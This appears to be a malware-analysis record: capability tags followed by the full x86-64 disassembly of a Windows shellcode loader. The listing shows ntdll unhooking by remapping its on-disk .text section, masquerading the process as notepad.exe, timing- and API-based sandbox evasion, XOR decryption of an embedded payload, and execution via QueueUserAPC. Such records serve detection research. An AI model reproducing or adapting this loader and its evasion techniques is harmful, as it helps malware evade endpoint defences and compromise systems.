Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x808
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.1400027b0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x1400017bb
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
mov rax, qword [rbp + 0x6f0]
mov r10, qword [rbp + 0x778]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x6e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov qword [rbp + 0x6c0], rax
mov word [rbp + 0x776], 0
jmp 0x1400017a3
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6c0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x776]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001792
mov dword [rbp + 0x538], 0
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x538]
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x538]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x776]
add eax, 1
mov word [rbp + 0x776], ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x776], ax
jb 0x140001667
mov dword [rbp + 0x770], 0x2da
jmp 0x1400017ce
sub dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x62
jg 0x1400017c7
mov dword [rbp + 0x53c], 0
mov rax, qword [rbp + 0x700]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x53c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x548]
add rax, 0x3c
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x6a4], 0
mov dword [rbp + 0x764], 0
mov ecx, 0x1ef0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x76c], 0
jmp 0x140001946
mov dword [rbp + 0x768], 0
jmp 0x140001932
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x76c]
movsxd rdx, edx
imul rcx, rdx, 0xb4
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x768]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x76c]
cdqe
imul rdx, rax, 0xb4
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x768]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000192b
add dword [rbp + 0x764], 1
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x2c
jle 0x1400018b1
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x2b
jle 0x1400018a2
cmp dword [rbp + 0x764], 0x3de
jne 0x140001969
mov dword [rbp + 0x6a4], 1
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x1400019d1
mov rax, qword [rbp + 0x690]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov ecx, 0
call rax
mov dword [rbp + 0x760], eax
cmp dword [rbp + 0x760], 0xffffffff
je 0x1400026e0
mov ecx, 0x682
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x682
jne 0x1400026e0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x549
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x549
jne 0x1400026e0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x684], 0x373
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x684]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x341
jbe 0x1400026e0
mov qword [rbp + 0x668], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2bd3a80
mov ecx, 0
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0
je 0x1400026e0
mov rax, qword [rbp + 0x668]
mov edx, 0x2bd3a80
mov rcx, rax
call fcn.140004630
mov rax, qword [rbp + 0x668]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.sgjsdezqydqh.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x658], rax
cmp qword [rbp + 0x658], 0
jne 0x1400026e0
mov qword [rbp + 0x758], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x140001c23
mov rax, qword [rbp + 0x650]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x648]
mov r9d, 0x3000
mov r8d, 0x30d
mov edx, 0
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x1400026e0
mov qword [rbp + 0x750], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
je 0x140001cbe
mov rax, qword [rbp + 0x640]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x638]
mov r9d, 0x3000
mov r8d, 0x42b
mov edx, 0
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x1400026e0
mov qword [rbp + 0x748], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
je 0x140001d59
mov rax, qword [rbp + 0x630]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x628]
mov r9d, 0x3000
mov r8d, 0x342
mov edx, 0
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x1400026e0
mov dword [rbp + 0x624], 0x38f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
call rax
mov dword [rbp + 0x614], eax
mov eax, dword [rbp + 0x624]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x618]
call rax
mov dword [rbp + 0x610], eax
mov eax, dword [rbp + 0x610]
sub eax, dword [rbp + 0x614]
cmp eax, 0x35d
jbe 0x1400026e0
lea rax, [rbp + 0x80]
lea rdx, [0x140006138]
mov ecx, 0x95
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x608]
mov r8d, 0
mov edx, 0x4aa
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5f8], rax
mov ecx, 0xc80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x744], 0
jmp 0x140001eed
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x31f
jle 0x140001ea0
mov dword [rbp + 0x744], 0
jmp 0x140001fdd
cmp dword [rbp + 0x744], 0
je 0x140001f4d
mov eax, dword [rbp + 0x744]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x744]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001f59
add dword [rbp + 0x744], 1
jmp 0x140001fdd
mov eax, dword [rbp + 0x744]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x594], eax
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x5f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x594]
mov dword [rdx], eax
sub dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x31f
jle 0x140001f08
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x600]
mov r8d, 0x4aa
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x740], 0
jmp 0x1400020ac
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x5a4], eax
mov ecx, dword [rbp + 0x5a4]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x5a4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5a4]
movq xmm0, rax
call fcn.1400037a0
movq rax, xmm0
mov qword [rbp + 0x598], rax
add dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0x1c9
jle 0x14000202e
mov rax, qword [rbp + 0x700]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0x4aa
mov rcx, rax
call r9
mov dword [rbp + 0x73c], 0
mov dword [rbp + 0x738], 0
mov dword [rbp + 0x734], 0
movabs rax, 0xf6fd0be902107522
movabs rdx, 0x9f834c135190bb92
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x3f82d5ec5c0e1fd1
movabs rdx, 0x936c65743d4db857
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x736bcf7a0fafcbbf
movabs rdx, 0x27ed05d62312d207
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xad57271b7578c393
movabs rdx, 0x38bdcd17aafd65
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
mov dword [rbp + 0x730], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x728], xmm0
add dword [rbp + 0x730], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x730]
movsd xmm0, qword [0x1400065f0]
addsd xmm0, xmm1
mov rax, qword [0x1400065f8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x730]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065f0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x728]
addsd xmm0, xmm1
movsd qword [rbp + 0x728], xmm0
cmp dword [rbp + 0x730], 0x2e1
jle 0x1400021a2
movsd xmm1, qword [rbp + 0x728]
movsd xmm0, qword [0x140006600]
mulsd xmm0, xmm1
movsd qword [rbp + 0x728], xmm0
movabs rax, 0x1181694c675f9d01
movabs rdx, 0x5f23641860c6c069
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x5417dce2abd782c4
movabs rdx, 0x4ad0fcde61fe9caf
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x30810e5f0f947e68
movabs rdx, 0xb965a2c639ea60a9
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xd955ab623e64f0b9
movabs rdx, 0xb0db79ad0e5d5c
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rdx
mov dword [rbp + 0x724], 0xffffffff
mov ecx, 0x1a28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
movsd xmm1, qword [0x1400065f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x724]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x724], 0x343
jle 0x1400022cf
jmp 0x14000244b
cmp dword [rbp + 0x738], 0x3d
jne 0x140002415
mov eax, dword [rbp + 0x73c]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x738]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x73c]
cdqe
mov byte [rbp + rax], dl
mov dword [rbp + 0x720], 0xffffffff
add dword [rbp + 0x720], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x108
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003870
movq rax, xmm0
mov qword [rbp + 0x5a8], rax
cmp dword [rbp + 0x720], 0x9d
jle 0x1400023bc
mov dword [rbp + 0x738], 0
jmp 0x140002444
mov eax, dword [rbp + 0x73c]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x738]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x73c]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x738], 1
add dword [rbp + 0x73c], 1
mov eax, dword [rbp + 0x73c]
cmp eax, 0x3e
jbe 0x14000237d
mov dword [rbp + 0x73c], 0
mov dword [rbp + 0x718], 1
jmp 0x140002520
mov dword [rbp + 0x71c], 0
mov eax, dword [rbp + 0x718]
mov dword [rbp + 0x714], eax
jmp 0x1400024f6
mov edx, dword [rbp + 0x714]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5b0], edx
mov eax, dword [rbp + 0x5b0]
imul eax, eax
imul eax, dword [rbp + 0x5b0]
add dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x714], eax
cmp dword [rbp + 0x714], 0
jne 0x14000248b
mov eax, dword [rbp + 0x71c]
cmp eax, dword [rbp + 0x718]
jne 0x140002519
mov eax, dword [rbp + 0x718]
mov dword [rbp + 0x5b4], eax
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x1e1
jle 0x140002473
jmp 0x1400025d4
cmp dword [rbp + 0x734], 0x3e
jne 0x140002588
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x734]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x734], 0
jmp 0x1400025cd
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x734]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x734], 1
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x4a9
jle 0x140002535
mov dword [rbp + 0x710], 0xffffffff
add dword [rbp + 0x710], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2f2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003870
movq rax, xmm0
mov qword [rbp + 0x5d0], rax
cmp dword [rbp + 0x710], 0x354
jle 0x1400025ee
mov dword [rbp + 0x70c], 0x12c
jmp 0x14000264e
sub dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0
jg 0x140002647
mov rax, qword [rbp + 0x5e8]
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5c8]
mov r9, qword [rbp + 0x5c0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5b8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x808
pop rbx
pop rsi
pop rdi
pop rbp
ret